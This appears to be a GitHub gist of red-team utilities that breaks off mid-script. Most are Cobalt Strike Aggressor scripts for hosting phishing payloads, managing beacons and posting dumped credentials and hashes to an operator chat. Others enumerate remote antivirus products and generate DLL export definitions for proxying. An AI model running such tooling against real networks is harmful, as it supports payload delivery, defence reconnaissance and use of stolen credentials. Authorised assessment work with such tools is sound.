Skip to content

Instantly share code, notes, and snippets.

@EspressoCake
Last active February 23, 2021 19:47
Show Gist options
  • Save EspressoCake/4efbc830142c737178f304a4281f7073 to your computer and use it in GitHub Desktop.
Save EspressoCake/4efbc830142c737178f304a4281f7073 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python
from __future__ import print_function
import hashlib
import itertools
import os
import sys
__author__ = "Justin Lucas"
__email__ = "jlucas@ingressive.com"
def generateFileNames(dir):
return sorted(["{}".format(os.path.join(dir, item)) for item in os.listdir(dir)], key=os.path.getctime, reverse=True)
def getFileData(filename):
return open(filename, 'rb').read()
def getSHA256Hash(filebytes):
return hashlib.sha256(filebytes).hexdigest()
def usageInformation():
print("Usage: python {} /path/to/folder".format(sys.argv[0]))
return
def orchestrateKeyValues(listObject):
dictionaryObject = dict()
for item in listObject:
currentHash = getSHA256Hash(getFileData(item))
if currentHash not in dictionaryObject.keys():
dictionaryObject[currentHash] = [item]
else:
dictionaryObject[currentHash].append(item)
return itertools.chain.from_iterable([value[1:] for (key, value) in dictionaryObject.items() if len(value) > 1])
def deleteFiles(listObject):
for item in listObject:
print("Deleting item: {}".format(item))
os.remove(item)
return
def main():
if len(sys.argv) != 2:
usageInformation()
return
elif not os.path.isdir(sys.argv[1]):
print("{} is not a directory.".format(sys.argv[1]))
return
else:
originalFileInfo = generateFileNames(sys.argv[1])
hashObjects = orchestrateKeyValues(originalFileInfo)
if hashObjects:
deleteFiles(hashObjects)
else:
print("No duplicate files discovered, have a good day!")
if __name__ == '__main__':
main()
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>User Testing </title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<script src="https://kit.fontawesome.com/9bc9872b8b.js"></script>
</head>
<body style="background-color: #3f3f3f">
<div class="container-fluid">
<div class="jumbotron" style="max-height: 275px">
<h1>Phishing Payload Testing!</h1>
<p class="lead">This site is used for the simple task of validating which payloads will execute in the environment with security in place.</p>
<p class="lead">Please use the following browser: <i class="fab fa-internet-explorer fa-2x" style="color: #1EBBEE"></i> <span class="fa-stack fa-2x"><i class="fab fa-chrome fa-stack-1x"></i><i class="fas fa-ban fa-stack-2x slow-spin" style="color: Red;opacity: 0.5"></i></span></p>
</div>
<div class="grid" style="text-align: center;min-height: 85px">
<div class="row justify-content-center">
<div class="col-auto">
<table class="table table-bordered table-dark" id="HostedFileList">
<thead class="thead">
<tr>
<th scope="col" class="text-center">Payload List</th>
</tr>
</thead>
<tbody>
</tbody>
</table>
</div>
</div>
<script>
function ordinal_suffix_of(i) {
var j = i % 10,
k = i % 100;
if (j == 1 && k != 11) {
return i.toString().padStart(3) +"st";
}
if (j == 2 && k != 12) {
return i.toString().padStart(3) + "nd";
}
if (j == 3 && k != 13) {
return i.toString().padStart(3) + "rd";
}
return i.toString().padStart(3) + "th";
}
var data = document.getElementById("HostedFileList");
var testlinks = []; // CHANGE ME!
for (var index = 0; index < testlinks.length; index++) {
var ordinalSuffix = ordinal_suffix_of(index + 1);
var tr = document.createElement("tr");
var td = document.createElement("td");
td.innerHTML = `<a class="btn btn-primary btn-lg btn-block" href="${testlinks[index]}" role="button" target="_blank">${ordinalSuffix} Payload</a>`;
tr.appendChild(td);
data.appendChild(tr);
}
</script>
</body>
</html>
#######################################
# CISA - Payload template generator #
# Authored By: Justin Lucas #
# Email: jlucas@ingressive.com #
# Revision: February 1, 2021 #
#######################################
sub hostfile {
local('%mimeHashTable');
%mimeHashTable = %(
bin => "application/octet-stream",
doc => "application/octet-stream",
docx => "application/octet-stream",
hta => "application/hta",
html => "text/html",
xls => "application/octet-stream",
xlsx => "application/octet-stream"
);
if ($4 in keys(%mimeHashTable)) {
println("We matched!");
site_host($1, 443, "/" . $2, $3, %mimeHashTable[$4], "This is " . $2, true);
return;
} else {
site_host($1, 443, "/" . $2, $3, "application/octet-stream", "This is " . $2, true);
return;
}
}
sub callback {
if ($3['create_template'] == $true) {
local('@filenames');
local('$individualFilePath');
@filenames = split(",", $3['folder']);
foreach $individualFilePath (@filenames) {
local('$splitFilename');
local('$cHandle $fBytes');
$splitFilename = split("/", $individualFilePath)[-1];
$cHandle = openf($individualFilePath);
$fBytes = readb($cHandle, -1);
closef($cHandle);
local('$fileext');
$fileext = split('\.', $splitFilename)[-1];
hostfile($3['hostip'], $splitFilename, $fBytes, $fileext);
}
prompt_file_save($null, {
local('$handle');
$handle = openf("> $+ $1");
println($handle, generatedHTMLTemplate());
closef($handle);
show_message("File has been saved to " . $1 . ", enjoy!");
});
}
}
sub generatedHTMLTemplate {
local('$currentHTMLTemplate');
local('$finalizedHTMLTemplate');
$currentHTMLTemplate = '
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>User Testing </title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<script src="https://kit.fontawesome.com/9bc9872b8b.js"></script>
</head>
<body style="background-color: #3f3f3f">
<div class="container-fluid">
<div class="jumbotron" style="max-height: 275px">
<h1>Phishing Payload Testing!</h1>
<p class="lead">This site is used for the simple task of validating which payloads will execute in the environment with security in place.</p>
<p class="lead">Please use the following browser: <i class="fab fa-internet-explorer fa-2x" style="color: #1EBBEE"></i> <span class="fa-stack fa-2x"><i class="fab fa-chrome fa-stack-1x"></i><i class="fas fa-ban fa-stack-2x slow-spin" style="color: Red;opacity: 0.5"></i></span></p>
</div>
<div class="grid" style="text-align: center;min-height: 85px">
<div class="row justify-content-center">
<div class="col-auto">
<table class="table table-bordered table-dark" id="HostedFileList">
<thead class="thead">
<tr>
<th scope="col" class="text-center">Payload List</th>
</tr>
</thead>
<tbody>
</tbody>
</table>
</div>
</div>
<script>
function ordinal_suffix_of(i) {
var j = i % 10,
k = i % 100;
if (j == 1 && k != 11) {
return i.toString().padStart(3) +"st";
}
if (j == 2 && k != 12) {
return i.toString().padStart(3) + "nd";
}
if (j == 3 && k != 13) {
return i.toString().padStart(3) + "rd";
}
return i.toString().padStart(3) + "th";
}
var data = document.getElementById("HostedFileList");
REPLACE_THIS_STRING
for (var index = 0; index < testlinks.length; index++) {
var ordinalSuffix = ordinal_suffix_of(index + 1);
var tr = document.createElement("tr");
var td = document.createElement("td");
td.innerHTML = `<a class="btn btn-primary btn-lg btn-block" href="${testlinks[index]}" role="button" target="_blank">${ordinalSuffix} Payload</a>`;
tr.appendChild(td);
data.appendChild(tr);
}
</script>
</body>
</html>';
$finalizedHTMLTemplate = strrep($currentHTMLTemplate, "REPLACE_THIS_STRING", urlgen());
return $finalizedHTMLTemplate;
}
sub compareInsensitive {
$a = lc($1);
$b = lc($2);
return $a cmp $b;
}
sub urlgen {
local('$information');
local('@stack @sortedStack');
@stack = @();
foreach $information (sites()) {
if (($information['Type'] ismatch 'page') && ($information['URI'] ismatch '\/[0-9][0-9].*') && ($information['URI'] !ismatch '.*\.(payload|bin|gz)')) {
local('$proto $port $hoster $uri');
$proto = $information['Proto'];
$port = $information['Port'];
$hoster = $information['Host'];
$uri = $information['URI'];
push(@stack, $proto . $hoster . ":" . $port . $uri);
}
}
@sortedStack = sort(&compareInsensitive, @stack);
local('$itemStack $itemStackIndex');
local('$currentLinksVar');
$currentLinksVar = 'var testlinks = [';
foreach $itemStackIndex => $itemStack (@sortedStack) {
if ($itemStackIndex != (size(@sortedStack) - 1)) {
$currentLinksVar = $currentLinksVar . "\t" . '"' . $itemStack . '",';
} else {
$currentLinksVar = $currentLinksVar . "\t" . '"' . $itemStack . '"';
}
}
$currentLinksVar = $currentLinksVar . ']';
return $currentLinksVar;
}
sub websitedialog {
$dialog = dialog("", %(hostip => localip(), ssl => 'false', folder => $1, create_template => 'false'), &callback);
dialog_description($dialog, "Payload Hoster and Template Generator");
drow_text($dialog, "folder", "Current File(s): ");
drow_text($dialog, "hostip", "Hostname or IP for URL: ");
drow_checkbox($dialog, "ssl", "Use SSL?", "");
drow_checkbox($dialog, "create_template", "Generate HTML?", "");
dbutton_action($dialog, "Host Payloads");
dbutton_help($dialog, "https://www.lmgtfy.com");
dialog_show($dialog);
}
sub websitehost {
prompt_file_open("Choose your files: ", $null, true, { websitedialog($1); });
}
popup help {
separator();
item("&Host_Payloads", { websitehost(); });
separator();
}
#!/bin/bash
############################
# Author: Justin L. #
# Date: January 11, 2021 #
############################
if [ "$#" -ne "1" ]; then
echo "You must supply a file to read, containing newline-separated CIDR blocks."
echo "Usage: $0
exit 1;
fi
if [ ! -f "$1" ]; then
echo "This file appears to be invalid, so we will exit."
exit 1;
fi
echo $(awk 'BEGIN { ORS=", " }; { print $1 }' < $1 | sed 's/, $//g')
#!/usr/bin/env python
from geoip import geolite2
import ipaddress
import sys
def readAllIPs(filename: str) -> list:
return [line.strip() for line in open(filename, 'r').readlines() if len(line) >= 2]
def getCountries(ipAddresses: list) -> dict:
currentBannedDict = { 'CN': [], 'IR': [], 'RU': [], 'UNKNOWN': [] }
for host in ipAddresses:
try:
match = geolite2.lookup(host.strip()).country
if match in currentBannedDict.keys():
currentBannedDict[match].append(ipaddress.ip_address(host))
except Exception:
currentBannedDict['UNKNOWN'].append(ipaddress.ip_address(host))
return currentBannedDict
def showResults(dictionary: dict) -> None:
for key, value in dictionary.items():
if value:
value.sort()
print()
print(f"{key} -> Count: {len(value)}")
print("", end='\t')
print('\n\t'.join(list(map(str, value))))
if __name__ == '__main__':
filedata = readAllIPs(sys.argv[1])
dictionaryBanned = getCountries(filedata)
showResults(dictionaryBanned)
workflow GetDefenseEndpoint
{
$myCustomObject = @()
[string[]]$readData = [System.IO.File]::ReadAllLines("$(pwd)\hosts.txt")
ForEach -Parallel ($item in $readData) {
Parallel
{
try {
$currentHost = $item
$data = Get-WmiObject -Namespace "root/SecurityCenter2" -Class "AntiVirusProduct" -PSComputerName $currentHost -ErrorAction SilentlyContinue
$product = $data.displayName;
$computer = $data.__SERVER;
if (![string]::IsNullOrEmpty($product)) {
[PSCustomObject] @{
Host = $currentHost
Product = $product
Computer = $computer
}
}
}
catch { }
}
}
}
GetDefenseEndpoint | Select Host, Product, Computer | FT -auto
#!/usr/bin/python
import os
import pefile
import random
import sys
def createDefinitionsFile(lName, dictionary, jumble=False):
dataString = f"LIBRARY\t{lName}\nEXPORTS\n"
if not jumble:
for keys, values in dictionary.items():
dataString += f"\t{values}\t@{keys}\n"
with open("somefile.def", 'w') as file:
file.write(dataString)
file.close()
return
else:
randKeys = list(dictionary.keys())
random.shuffle(randKeys)
for shuffledKey in randKeys:
dataString += f"\t{dictionary[shuffledKey]}\t@{shuffledKey}\n"
with open("somefile.def", 'w') as file:
file.write(dataString)
file.close()
return
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} C:/path/to/some.dll", file=sys.stderr)
sys.exit(1)
filename = sys.argv[1]
_, libname = os.path.split(filename)
libname = libname.split('.')[0].upper()
if not os.path.exists(filename):
print(f"{filename} does not exist", file=sys.stderr)
sys.exit(1)
d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
pe = pefile.PE(filename, fast_load=True)
pe.parse_data_directories(directories=d)
exports = [(e.ordinal, e.name) for e in pe.DIRECTORY_ENTRY_EXPORT.symbols]
dictionaryVals = {}
for export in sorted(exports):
try:
dictionaryVals[export[0]] = export[1].decode('utf-8')
except Exception as e:
pass
if len(sys.argv) == 3:
createDefinitionsFile(libname, dictionaryVals, True)
else:
createDefinitionsFile(libname, dictionaryVals)
if __name__ == "__main__":
main()
#!/bin/bash
for item in $(ls | grep -v ".sh"); do
echo "" \
&& echo "${item}" \
&& echo "MD5SUM: $(md5sum ${item} | awk '{print $1}')" \
&& echo "SHA256SUM: $(sha256sum ${item} | awk '{print $1}')";
done > outfile.txt
sub compareInsensitive {
$a = lc($1);
$b = lc($2);
return $a cmp $b;
}
sub urlgen {
local('$information');
local('@stack @sortedStack');
@stack = @();
foreach $information (sites()) {
if ($information['Type'] ismatch 'page') {
local('$proto $port $hoster $uri');
$proto = $information['Proto'];
$port = $information['Port'];
$hoster = $information['Host'];
$uri = $information['URI'];
push(@stack, $proto . $hoster . ":" . $port . $uri);
}
}
@sortedStack = sort(&compareInsensitive, @stack);
local('$itemStack $itemStackIndex');
println('var testlinks = [');
foreach $itemStackIndex => $itemStack (@sortedStack) {
if ($itemStackIndex != (size(@sortedStack) - 1)) {
println("\t" . '"' . $itemStack . '",');
} else {
println("\t" . '"' . $itemStack . '"');
}
}
println(']');
}
sub linksonly {
local('$information');
local('@stack @sortedStack');
@stack = @();
foreach $information (sites()) {
if ($information['Type'] ismatch 'page') {
local('$proto $port $hoster $uri');
$proto = $information['Proto'];
$port = $information['Port'];
$hoster = $information['Host'];
$uri = $information['URI'];
push(@stack, $proto . $hoster . ":" . $port . $uri);
}
}
@sortedStack = sort(&compareInsensitive, @stack);
println(join("\n", @sortedStack));
}
command jsl {
urlgen();
}
command links {
linksonly();
}
#!/bin/bash
for item in $(ls *.txt);
do
currentValue=$(tail -n1 ${item})
if [[ ! $currentValue =~ "tested" ]]; then
echo "Check: ${item}"
fi
done
#include <Windows.h>
#include <iostream>
#include <string>
int main()
{
DISPLAY_DEVICE dd;
dd.cb = sizeof(dd);
dd.StateFlags = DISPLAY_DEVICE_ATTACHED_TO_DESKTOP;
int deviceIndex = 0;
while(EnumDisplayDevices(NULL, deviceIndex, &dd, 0))
{
WCHAR deviceData[sizeof(dd.DeviceName)] = { 0 };
wcsncpy_s(deviceData, dd.DeviceName, sizeof(dd.DeviceName));
int monitorIndex = 0;
while(EnumDisplayDevices(deviceData, monitorIndex, &dd, 0))
{
printf("Device_Name:\t%ws\n", dd.DeviceName);
switch (wcsstr(dd.DeviceString, L"Non-Generic") == NULL) {
case TRUE:
puts("Native_Disp:\tTrue");
break;
default:
puts("Native_Disp:\tFalse");
break;
}
printf("Display_Data:\t%ws\n", dd.DeviceString);
++monitorIndex;
}
++deviceIndex;
}
return 0;
}
global('$currentPhishHits');
$currentPhishHits = 0;
on web_hit {
local('$ipAddressRegex $phishPageRegex $currentInfoString');
local('$currentPhishBool');
# Modify these.
$phishPageRegex = "/somephish*";
$ipAddressRegex = "127.0.0*";
# Leave these
$currentInfoString = '';
$currentPhishBool = false;
if (($ipAddressRegex !iswm $3) && ($phishPageRegex iswm $2)) {
$currentPhishHits = $currentPhishHits + 1;
$currentInfoString = 'Phish_Hit: ' . $3 . ' @ ' . dstamp($9) . ' Count: ' . $currentPhishHits;
} else {
$currentInfoString = 'Web_Hit: ' . $3 . " to " . $2 . " at " . dstamp($9);
}
elog($currentInfoString);
}
#!/usr/bin/env python3
import random
import sys
def getUsers(filename: str) -> list:
with open(filename, 'r') as file:
currentData = [item.strip().split()[-1] for item in file.readlines()]
return list(random.sample(currentData, k=len(currentData)))
def main():
if len(sys.argv) != 2:
print(f'USAGE: {__file__} filename.txt')
sys.exit(1)
else:
print('\n'.join(getUsers(sys.argv[1])))
if __name__ == '__main__':
main()
#!/usr/bin/env python3
import ipaddress
import os
import sys
def validateFile(filename: str) -> bool:
return os.path.exists(filename)
def readAndGenerate(filename: str) -> list:
with open(filename, 'r') as file:
return [ipaddress.ip_network(f'{item.strip()}').num_addresses for item in file.readlines()]
def getTotalNumber(iplist: list) -> int:
return sum(currentTotal for currentTotal in iplist)
def main():
if (len(sys.argv) != 2):
print(f'USAGE: {__file__} fileWithCIDR')
sys.exit(1)
if validateFile(sys.argv[1]):
currentList = readAndGenerate(sys.argv[1])
maxOutput = getTotalNumber(currentList)
print(f'Current worst case: {maxOutput}' if maxOutput else 'None')
else:
print("Please provide a valid filename possessing CIDR blocks.")
sys.exit(1)
if __name__ == '__main__':
main()
command killallbeacons {
local('$beacon');
foreach $beacon (beacons()) {
binput($beacon['id'], "exit");
bexit($beacon['id']);
}
}
on beacon_initial {
println(binfo($1, 'internal'));
if ( '172.30.144.*' iswm binfo($1, 'internal') ) {
bnote($1, "");
bnote($1, "Personal test machine(s).");
}
}
#!/usr/bin/env python3
from glob import glob
import os
def main():
filetypes = ("*.gnmap", "*.xml", "*.nmap")
for item in filetypes:
files = glob(item)
renamedFiles = [individualItem.replace("HI-lucas", "RV1155") for individualItem in files]
for index, value in enumerate(files):
os.rename(files[index], renamedFiles[index])
if __name__ == '__main__':
main()
sub generateInfo {
local('%hash $beacon');
foreach $beacon (beacons()) {
if (%hash[$beacon['internal']]) {
# This will be updated regardless
%hash[$beacon['internal']]['General'] += 1;
# Logic conditions on which to update
if (($beacon['alive'] ismatch 'true') && (-isadmin $beacon['id'])) {
%hash[$beacon['internal']]['Admin'] += 1;
%hash[$beacon['internal']]['Live'] += 1;
} else if ($beacon['alive'] ismatch 'true') {
%hash[$beacon['internal']]['Live'] += 1;
} else {
%hash[$beacon['internal']]['Dead'] += 1;
}
} else {
%hash[$beacon['internal']] = %(General => 1);
%hash[$beacon['internal']]['Live'] = 0;
%hash[$beacon['internal']]['Admin'] = 0;
%hash[$beacon['internal']]['Dead'] = 0;
if (($beacon['alive'] ismatch 'true') && (-isadmin $beacon['id'])) {
%hash[$beacon['internal']]['Admin'] += 1;
%hash[$beacon['internal']]['Live'] += 1;
} else if ($beacon['alive'] ismatch 'true') {
%hash[$beacon['internal']]['Live'] += 1;
} else {
%hash[$beacon['internal']]['Dead'] += 1;
}
}
}
local('$key $subkey $value');
local('$someMassiveString');
$someMassiveString = "";
foreach $key (keys(%hash)) {
$someMassiveString = $someMassiveString . "\c9$key\o\t\n";
foreach $subkey (keys(%hash[$key])) {
if ($subkey ismatch 'Alive')
{
$someMassiveString = $someMassiveString . "\t" . $subkey . ": \c3" . %hash[$key][$subkey] . "\o";
}
else if ($subkey ismatch 'Dead')
{
$someMassiveString = $someMassiveString . "\t" . $subkey . ": \c4" . %hash[$key][$subkey] . "\o";
}
else if ($subkey ismatch 'Admin')
{
$someMassiveString = $someMassiveString . "\t" . $subkey . ": \c9" . %hash[$key][$subkey] . "\o";
}
else if ($subkey ismatch 'General')
{
$someMassiveString = $someMassiveString . "\t" . $subkey . ": \c3" . %hash[$key][$subkey] . "\o";
}
else
{
$someMassiveString = $someMassiveString . "\t" . $subkey . ": \c0" . %hash[$key][$subkey] . "\o";
}
}
$someMassiveString = $someMassiveString . "\n";
}
return $someMassiveString;
}
on event_join {
#sleep(5000);
privmsg($1, "\nHey there, let's get you up to speed, shall we?\n" . generateInfo());
}
on event_public {
if (split(' ', $2)[0] ismatch '!status') {
privmsg($1, "\n" . generateInfo());
} else if (split(' ', $2)[0] ismatch '!commands') {
local('$helpString');
$helpString = "\nHelper Functions:\n";
$helpString = $helpString . "\cB!status" . "\n";
$helpString = $helpString . "\tGives an indication as to the high-level status of current Beacons.\n\n";
$helpString = $helpString . "\cB!creds \o\c8REGEX_ARGUMENT\o" . "\n";
$helpString = $helpString . "\tSearch the credentials table for a regex argument of choice.\n";
$helpString = $helpString . "\t - Results will be returned from the most recent, to oldest, per result\n\n";
$helpString = $helpString . "\cB!health \o\c8" . '[good | bad | IP_REGEX]' . "\o" . "\n";
$helpString = $helpString . "\tReturns an indication of beacon health, from recent events pulled in beacon history.\n";
$helpString = $helpString . "\tThis command assumes a default sleep interval of 60s.\n";
println($helpString);
privmsg($1, $helpString);
}
}
#######################################################################################################################
sub sortingClosure {
if ($1['added'] < $2['added']) {
return 1;
} else {
return -1;
}
}
on event_public {
local('$regexFilter');
local('$splitCommands');
local('%currentCredentials');
# Format
# %(password => 'f82beda0c061d82902c2b8e59670d615', added => 1601985118156L, host => '10.10.9.222', realm => 'TESTLAB-WK1002', source => 'hashdump', user => 'Baseline')
$splitCommands = split(' ', $2);
$regexFilter = '(?iux)' . $splitCommands[1] . '(.*)?';
if ($splitCommands[0] ismatch '!creds') {
local('$credentialItem');
foreach $credentialItem (credentials()) {
if ($credentialItem['user'] ismatch $regexFilter) {
if (%currentCredentials[$credentialItem['user']]) {
add(%currentCredentials[$credentialItem['user']], $credentialItem);
} else {
%currentCredentials[$credentialItem['user']] = @($credentialItem);
}
}
}
if (size(%currentCredentials) > 0) {
local('@data');
local('$key');
local('$item');
foreach $key (keys(%currentCredentials)) {
local('$descriptionString');
if (size(%currentCredentials) > 0) {
$descriptionString = "\n\nUser: $key\n";
@data = sort(&sortingClosure, %currentCredentials[$key]);
foreach $item (@data) {
$descriptionString = $descriptionString . "Time: " . dstamp($item['added']) . "\t";
if (strlen($item['host']) < 2) {
$descriptionString = $descriptionString . "Host: LOCAL_DOM\t";
} else {
$descriptionString = $descriptionString . "Host: $+ $item['host']\t";
}
if (strlen($item['realm']) < 2) {
$descriptionString = $descriptionString . "Realm: LOCAL\t";
} else {
$descriptionString = $descriptionString . "Realm: $+ $item['realm']\t";
}
$descriptionString = $descriptionString . "Password: $+ $item['password']\n";
}
}
println($descriptionString);
if (strlen($descriptionString) > 0) {
privmsg($1, $descriptionString);
}
}
}
}
}
#######################################################################################################################
on beacon_initial {
bnote($1, "Received at: " . dstamp(ticks()));
}
#######################################################################################################################
on beacon_initial {
local('$beaconinformation');
local('$beaconPID $beaconInternal $beaconProcess $beaconComputer');
local('$fullPlaceHolder @beaconDataArray');
$fullPlaceHolder = bdata($1);
push(@beaconDataArray, $fullPlaceHolder);
highlight("beacons", @beaconDataArray, "good");
$beaconPID = binfo($1, 'pid');
$beaconInternal = binfo($1, 'internal');
$beaconProcess = binfo($1, 'process');
$beaconComputer = binfo($1, 'computer');
# Initial data
$beaconinformation = "A Wild Beacon Appears...\nListener: " . binfo($1, 'listener') . "\tPID: " . $beaconPID . "\tPBeaconID: " . $1 . "\tFrom: " . $beaconComputer . "\tOn: " . $beaconInternal;
action($beaconinformation);
# Give it a good sleep, then continue removing the color
sleep(10000);
highlight("beacons", @beaconDataArray);
}
on beacon_input {
local('$teststuffs $currentoperator $currentprefix $numargs');
local('$beaconPID $beaconInternal $beaconProcess $beaconComputer');
local('$currlistener');
local('$stringBuilder');
local('@beaconArray');
$currentoperator = $2;
$teststuffs = split(' ', $3);
# Extract the first argument
$currentprefix = $teststuffs[0];
# Get number of arguments
$numargs = size($teststuffs);
# Get beacon internal IP and pid
$beaconPID = binfo($1, 'pid');
$beaconInternal = binfo($1, 'internal');
$beaconProcess = binfo($1, 'process');
$beaconComputer = binfo($1, 'computer');
if ($currentprefix ismatch 'spawn') {
$currlistener = $teststuffs[$numargs - 1];
$stringBuilder = "PID: " . $beaconPID . "\tPBeaconID: " . $1 . "\tFrom: " . $beaconComputer . "\tOn: " . $beaconInternal . "\tListener: " . $currlistener;
action("\nATTENTION OPERATORS: " . $currentoperator . " is going live with a spawnto, wish them luck!\n" . $stringBuilder);
push(@beaconArray, bdata($1));
highlight("beacons", @beaconArray, "cancel");
sleep(5000);
highlight("beacons", @beaconArray);
}
}
on heartbeat_10s {
local('@localBeaconArray');
local('$beacon');
foreach $beacon (beacons()) {
if ($beacon['alive'] ismatch 'false') {
push(@localBeaconArray, $beacon);
}
}
highlight("beacons", @localBeaconArray, "bad");
}
#######################################################################################################################
# operatorInfo will be a global variable in the context of this script
sub RunnerRunner {
global('%operatorInfo');
local('$key $value $sUser');
local('$credInfo');
local('%currList $currItem');
if (size(%operatorInfo) == 0) {
foreach $sUser (users()) {
%operatorInfo[$sUser] = %(last => ticks(), initial => 1);
}
} else if (%operatorInfo[$1]){
%operatorInfo[$1]['initial'] = 0;
%operatorInfo[$1]['dCreds'] = @();
%operatorInfo[$1]['pCreds'] = @();
foreach $credInfo (credentials()) {
# For some reason, CS is reporting the wrong timestamp, flip this when it works properly
#if (($credInfo['added']) <= (%operatorInfo[$1]['last'])) {
add(%operatorInfo[$1]['dCreds'], $credInfo);
#}
}
foreach $currItem (%operatorInfo[$1]['dCreds']) {
if (%currList[$currItem['user']]) {
%currList[$currItem['user']] = %currList[$currItem['user']] + 1;
} else {
%currList[$currItem['user']] = 1;
}
}
%operatorInfo[$1]['pCreds'] = %currList;
#println(%operatorInfo[$1]['pCreds']);
local('$currentString');
if (size(%operatorInfo[$1]['pCreds']) > 0) {
$currentString = "Hi, " . $1 . ". We have some new credentials since you last checked in at: " . dstamp(%operatorInfo[$1]['last']) . "\n";
#foreach $key => $value (%operatorInfo[$1]['pCreds']) {
foreach $key (sorta(keys(%operatorInfo[$1]['pCreds']))) {
if (strlen($key) >= 12) {
#$currentString = $currentString . "\tUser: " . $key . "\t\tCount: " . $value . "\n";
$currentString = $currentString . "\tUser: " . $key . "\t\tCount: " . %operatorInfo[$1]['pCreds'][$key] . "\n";
} else {
#$currentString = $currentString . "\tUser: " . $key . "\t\t\tCount: " . $value . "\n";
$currentString = $currentString . "\tUser: " . $key . "\t\t\tCount: " . %operatorInfo[$1]['pCreds'][$key] . "\n";
}
}
}
# Return the value
return $currentString;
} else {
return "";
}
}
on event_join {
local('$sendableData');
$sendableData = RunnerRunner($1);
if (strlen($sendableData) > 1) {
privmsg($1, RunnerRunner($1));
}
}
on event_quit {
# Advance the operator ticks
%operatorInfo[$1]['last'] = ticks();
}
#######################################################################################################################
sub returnIPToInt {
local('@currIP');
local('$intConverted');
local('$localArg');
$localArg = replace($1, '\.', " ");
@currIP = split(' ', $localArg);
$intConverted = casti($intConverted, 'l');
$intConverted = ((@currIP[0] * (256 ** 3)) + (@currIP[1] * (256 ** 2)) + (@currIP[2] * (256 ** 1)) + (@currIP[1] * (256 ** 0)));
return casti($intConverted, 'l');
}
sub sortFunc {
if (returnIPToInt($1['external']) < returnIPToInt($2['external'])) {
return 1;
} else if (returnIPToInt($1['external']) == returnIPToInt($2['external'])) {
return 0;
} else if (returnIPToInt($1['external']) > returnIPToInt($2['external'])) {
return -1;
}
}
sub generateDelta {
local('$deltaTracked');
$deltaTracked = casti(($1 / $2) * 100, 'f');
return $deltaTracked;
}
sub generateBeaconSleepInfo {
local('$commandObject');
$commandObject = split(" ", $2);
if ($commandObject[0] ismatch '!health') {
local('$defaultSleepVal');
$defaultSleepVal = 60000; # 60 seconds, standard
local('$indvBeacon');
local('%dataModel');
foreach $indvBeacon (beacons()) {
local('$defaultSleepVal');
%dataModel[$indvBeacon['id']] = %(
assumed => $defaultSleepVal,
pid => $indvBeacon['pid'],
internal => $indvBeacon['internal'],
external => $indvBeacon['external'],
last => $indvBeacon['last']
);
}
local('$archiveModel');
$archiveModel = archives();
local('$iArchiveEntry');
local('$cARchiveIndex');
$cARchiveIndex = 0;
foreach $iArchiveEntry (archives()) {
if ($iArchiveEntry['data'] ismatch "sleep for.*") {
if (($archiveModel[$cARchiveIndex + 1]['type'] ismatch "checkin") && ($archiveModel[$cARchiveIndex + 1]['bid'] == $archiveModel[$cARchiveIndex]['bid']) && (%dataModel[$iArchiveEntry['bid']])) {
%dataModel[$iArchiveEntry['bid']]['assumed'] = 1000 * replace(split(" ", $iArchiveEntry['data'])[2], 's');
}
}
$cARchiveIndex = $cARchiveIndex + 1;
}
local('$healthString');
local('$placeHolderString');
$placeHolderString = "\nBeacon health assumption checker:\n";
local('@testArray');
local('@finalArray');
foreach $key => $value (%dataModel) {
add(@testArray, $value);
}
@finalArray = sort(&sortFunc, @testArray);
foreach $key (@finalArray) {
if ($key['last'] >= $key['assumed']) {
$colorVar = "\c4UNDER_PERF";
} else {
$colorVar = "\c3STATUS_QUO";
}
$healthString = $healthString . "Health: " . $colorVar . "\o" . "\tInterval: " . ($key['assumed'] / 1000) . " seconds" . "\tPID: " . $key['pid'] . "\tExternal: " . $key['external'] . "\tInternal: " . $key['internal'] . "\n";
}
# Janky AF, because I don't want to redesign this yet
if ($3) {
local('@filterData');
@filterData = split('\n', $healthString);
$healthString = generateFilter(@filterData, $commandObject[1]);
}
if (strlen($healthString) >= 1) {
privmsg($1, $placeHolderString . $healthString);
} else {
privmsg($1, "No information found for the supplied query.");
}
}
}
# I really don't want to do this, but need something to temporarily work.
global('$ipRegexFilter');
sub generateFilter {
local('@filteredData');
if (uc($2) ismatch 'GOOD') {
@filteredData = filter(&callbackGood, $1);
return join("\n", @filteredData);
} else if (uc($2) ismatch 'BAD') {
@filteredData = filter(&callbackBad, $1);
return join("\n", @filteredData);
} else if ($2 ismatch '.*[0-9]{1,3}.*') {
global('$ipRegexFilter');
$ipRegexFilter = '.*' . $2 . '.*';
@filteredData = filter(&callbackRegex, $1);
$ipRegexFilter = ''; # Reset
return join("\n", @filteredData);
}
}
sub callbackGood {
if ($1 ismatch '.*STATUS_QUO.*') {
return $1;
}
}
sub callbackBad {
if ($1 ismatch '.*UNDER_PERF.*') {
return $1;
}
}
sub callbackRegex {
if ($1 ismatch $ipRegexFilter) {
return $1;
}
}
on event_public {
local('@splitArguments');
@splitArguments = split(' ', $2);
local('$argumentSize');
$argumentSize = size(@splitArguments);
if ($argumentSize >= 1) {
# Debugging
if ((@splitArguments[0]) ismatch '!health') {
if (@splitArguments[1]) {
if (uc(@splitArguments[1]) ismatch 'GOOD') {
generateBeaconSleepInfo($1, $2, 'GOOD');
} else if (uc(@splitArguments[1]) ismatch 'BAD') {
generateBeaconSleepInfo($1, $2, 'BAD');
} else if ((@splitArguments[1]) ismatch '.*[0-9]{1,3}.*') {
generateBeaconSleepInfo($1, $2, @splitArguments[$argumentSize - 1]);
} else {
generateBeaconSleepInfo($1, $2);
}
} else {
